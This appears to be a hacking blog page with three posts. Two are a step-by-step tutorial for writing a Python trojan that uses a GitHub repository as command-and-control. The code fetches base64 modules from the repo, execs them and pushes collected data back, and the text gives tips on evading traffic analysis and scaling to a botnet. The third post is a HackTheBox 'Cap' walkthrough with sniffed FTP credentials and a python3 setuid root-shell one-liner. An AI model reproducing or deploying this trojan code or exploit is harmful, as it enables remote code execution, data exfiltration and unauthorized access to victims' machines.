• Skip to primary navigation
  • Skip to main content
  • Skip to footer

The Dark Tech

The Dark Tech

  • Home
  • Blogs
  • HTB
  • My account
  • Terms and Conditions
  • Privacy Policy
  • Home
  • Blogs
  • HTB
  • My account
  • Terms and Conditions
  • Privacy Policy

GitHub

How To Hack Python’s Import Functionality

February 19, 2022 By BlackHammer 1 Comment

If you’ve made it this far in the article, you know that we use Python’s import functionality to pull in external libraries so that we can use the code contained within. We want to be able to do the same thing for our trojan, but beyond that, we also want to make sure that if we pull in a dependency (such as Scapy or netaddr), our trojan makes that module available to all subsequent modules that we pull in. Python allows us to insert our own functionality into how it imports modules, such that if a module cannot be found locally, our import class will be called, which will allow us to remotely retrieve the library from our repo. This is achieved by adding a custom class to the sys.meta_path list.

Let’s create a custom loading class now by adding the following code:

class GitImporter(object):
 def __init__(self):
 self.current_module_code = ""
 def find_module(self,fullname,path=None):
 if configured:
 print "[*] Attempting to retrieve %s" % fullname
 new_library = get_file_contents("modules/%s" % fullname) 
 
 if new_library is not None:
 self.current_module_code = base64.b64decode(new_library) 
 return self
 
 return None

Every time the interpreter attempts to load a module that isn’t available, our GitImporter class is used. The find_module function is called first in an attempt to locate the module. We pass this call to our remote file loader and if we can locate the file in our repo, we base64-decode the code and store it in our class.

def load_module(self,name):
 
 module = imp.new_module(name) 
 exec self.current_module_code in module.__dict__ 
 sys.modules[name] = module 
 return module

By returning self, we indicate to the Python inter- preter that we found the module and it can then call our load_module func- tion to actually load it. We use the native imp module to first create a new blank module object and then we shovel the code we retrieved from GitHub into it. The last step is to insert our newly created module into the sys.modules list so that it’s picked up by any future import calls.

Now let’s put the finishing touches on the trojan and take it for a spin.

def module_runner(module):
 task_queue.put(1) 
 result = sys.modules[module].run() 
 task_queue.get()

While we’re in the module_runner function, we simply call the module’s run function to kick off its code.

# store the result in our repo
 store_module_result(result) 
 
 return

When it’s done running, we should have the result in a string that we then push to our repo.

# main trojan loop 
 sys.meta_path = [GitImporter()] 
while True:
 
 if task_queue.empty():

We first make sure to add our custom module importer before we begin the main loop of our application.

config = get_trojan_config()

The first step is to grab the configuration file from the repo and then we kick off the module in its own thread.

for task in config:
 t = threading.Thread(target=module_runner,args=(task['module'],)) 
 t.start()
 time.sleep(random.randint(1,10))
 
 time.sleep(random.randint(1000,10000))

The end of our trojan will then sleep for a random amount of time in an attempt to foil any network pattern analysis. You could of course create a bunch of traffic to Google.com or any number of other things in an attempt to disguise what your trojan is up to.

Now let’s take it for a spin!

If you have sensitive information in files or environment variables, remember that without a private repository, that information is going to go up to GitHub for the whole world to see. Don’t say I didn’t warn you—and of course you can use some encryption techniques.

Let’s Check Our Code

All right! Let’s take this thing for a spin by running it from the command line.

$ python git_trojan.py
[*] Found file abc.json
[*] Attempting to retrieve dirlister
[*] Found file modules/dirlister
[*] Attempting to retrieve environment
[*] Found file modules/environment
[*] In dirlister module
[*] In environment module.

Perfect. It connected to my repository, retrieved the configuration file, pulled in the two modules we set in the configuration file, and ran them.

Now if you drop back in to your command line from your trojan directory, enter:

$ git pull origin master
From 
 * branch master -> FETCH_HEAD
Updating f4d9c1d..5225fdf
Fast-forward
data/abc/29008.data | 1 +
data/abc/44763.data | 1 + 
 2 files changed, 2 insertions(+), 0 deletions(-)
 create mode 100644 data/abc/29008.data
 create mode 100644 data/abc/44763.data

Awesome! Our trojan checked in the results of our two running modules.

There are a number of improvements and enhancements that you can make to this core command-and-control technique. Encryption of all your modules, configuration, and exfiltrated data would be a good start. Automating the backend management of pull-down data, updating configuration files, and rolling out new trojans would also be required if you were going to infect on a massive scale. As you add more and more functionality, you also need to extend how Python loads dynamic and compiled libraries.

For now, let’s work on creating some standalone trojan tasks, and I’ll leave it to you to integrate them into your new GitHub trojan.

Also Check How To Build A GitHub Aware Trojan In Python.

Filed Under: For Beginners, Hacking, Learn Hacking, Python For Hacking Tagged With: GitHub, Hacking, Python, Python for hacking, TROJAN

How To Build A GitHub Aware Trojan In Python

February 19, 2022 By BlackHammer 1 Comment

What Is Trojan

In computing, a Trojan horse, or trojan, is any malware which misleads users of its true intent. The term is derived from the Ancient Greek story of the deceptive Trojan Horse that led to the fall of the city of Troy.

Trojans are generally spread by some form of social engineering, for example where a user is duped into executing an email attachment disguised to appear not suspicious, (e.g., a routine form to be filled in), or by clicking on some fake advertisement on social media or anywhere else. Although their payload can be anything, many modern forms act as a backdoor, contacting a controller which can then have unauthorized access to the affected computer. Trojans may allow an attacker to access users’ personal information such as banking information, passwords, or personal identity. It can also delete a user’s files or infect other devices connected to the network. Ransomware attacks are often carried out using a trojan.

Building A GitHub Aware Trojan

Now we’re going to create the main trojan that will suck down configuration options and code to run from GitHub. The first step is to build the necessary code to handle connecting, authenticating, and communicating to the GitHub API.

Let’s start by opening a new file called git_trojan.py and entering the following code:

import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os
from github3 import login
trojan_id = "abc" 
trojan_config = "%s.json" % trojan_id
data_path = "data/%s/" % trojan_id
trojan_modules= []
configured = False
task_queue = Queue.Queue()

This is just some simple setup code with the necessary imports, which should keep our overall trojan size relatively small when compiled. I say relatively because most compiled Python binaries using py2exe2 are around 7MB. The only thing to note is the trojan_id variable that uniquely iden- tifies this trojan. If you were to explode this technique out to a full botnet, you’d want the capability to generate trojans, set their ID, automatically create a configuration file that’s pushed to GitHub, and then compile the trojan into an executable. We won’t build a botnet today, though; I’ll let your imagination do the work.

Now let’s put the relevant GitHub code in place.

def connect_to_github(): 
 gh = login(username="yourusername",password="yourpassword")
 repo = gh.repository("yourusername","yourrepository")
 branch = repo.branch("master") 
 
 return gh,repo,branch
def get_file_contents(filepath): 
 
 gh,repo,branch = connect_to_github() 
 tree = branch.commit.commit.tree.recurse()
 
 for filename in tree.tree:
 
 if filepath in filename.path:
 print "[*] Found file %s" % filepath 
 blob = repo.blob(filename._json_data['sha'])
 return blob.content
 return None

def get_trojan_config(): 
 global configured 
 config_json = get_file_contents(trojan_config)
 config = json.loads(base64.b64decode(config_json))
 configured = True
 for task in config:
 
 if task['module'] not in sys.modules:
 
 exec("import %s" % task['module'])
 
 return config

def store_module_result(data): 
 
 gh,repo,branch = connect_to_github()
 remote_path = "data/%s/%d.data" % (trojan_id,random.randint(1000,100000))
 repo.create_file(remote_path,"Commit message",base64.b64encode(data))
 return

These four functions represent the core interaction between the trojan and GitHub. The connect_to_github function simply authenticates the user to the repository, and retrieves the current repo and branch objects for use by other functions. Keep in mind that in a real-world scenario, you want to obfuscate this authentication procedure as best as you can. You might also want to think about what each trojan can access in your repository based on access controls so that if your trojan is caught, someone can’t come along and delete all of your retrieved data. The get_file_contents function is responsible for grabbing files from the remote repo and then reading the contents in locally. This is used both for reading configuration options as well as reading module source code. The get_trojan_config function is responsible for retrieving the remote configuration document from the repo so that your trojan knows which modules to run. And the final func- tion store_module_result is used to push any data that you’ve collected on the target machine. Now let’s create an import hack to import remote files from our GitHub repo in next article.

Also Check How To Brute-Force HTML Form Authentication In Python.

Filed Under: For Beginners, Hacking, Learn Hacking, Python For Hacking Tagged With: GitHub, hacker, Python, Python for hacking, TROJAN

Cap Htb Walkthrough

October 1, 2021 By BlackHammer Leave a Comment

Enumeration


Nmap Scan

Nmap scan report for 10.10.10.245
Host is up (0.19s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Fri, 01 Oct 2021 13:19:21 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Fri, 01 Oct 2021 13:19:14 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">
|     <!-- amchar
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Fri, 01 Oct 2021 13:19:15 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, OPTIONS, HEAD
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
|     </body>
|_    </html>
|_http-server-header: gunicorn
|_http-title: Security Dashboard

Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT       ADDRESS
1   186.65 ms 10.10.14.1
2   186.72 ms 10.10.10.245

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 156.38 seconds

In the above nmap scan report you can see that we have 21,22,80 ports open For ftp the anonymous login is not enabled nither default credentials works so we will proceed further with the http port.


User

If you navigate on the http page you can see the dashboard directly logged in with Nathan user

When You navigate to the **security snapshot ** you can see that you are able to download a packet capture files in the url bar if you change the url (end of the url which has a single digit) you can see the different packet counts so we will download the one with most packets. you will find it on

http://10.10.10.245/data/0

we will download the pcap file and open it in wireshark. Where we can see the ftp traffic. Which is basically a ftp session and as ftp has no encryption while transfering data you can see the password in plain text. so lets follow one of the ftp stream.

USER nathan
PASS Buck3tH4TF0RM3!

you can use these credentials to log in the ssh as user nathan

└─# ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 2.0

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

   https://ubuntu.com/blog/microk8s-memory-optimisation

63 updates can be applied immediately.
42 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Oct  1 14:14:56 2021 from 10.10.16.17
[email protected]:~$ 

Root

Here the sudo is not avalible of any of the file and there are no any ports filtered by firewall. so we will check for capablities using this command

[email protected]:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

so now we can see that setuid is avalible for python so we can use following payload for geting the root access using python3

[email protected]:~$ python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
[email protected]:~# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
[email protected]:~# 

And we got the root access


Filed Under: Hacking, HTB Tagged With: cap, Ethical Hacking, GitHub, Hacking, hackthebox

Footer

Contact Us

If you’d like to find out more about our services and explore the possibility of us working together, get in touch. Our initial consultation is free. So you’ve nothing to lose!

Contact Us
  • Privacy Policy
  • Disclaimer
  • Terms and Conditions

Copyright © 2022 Team Black · The Dark Tech

Log in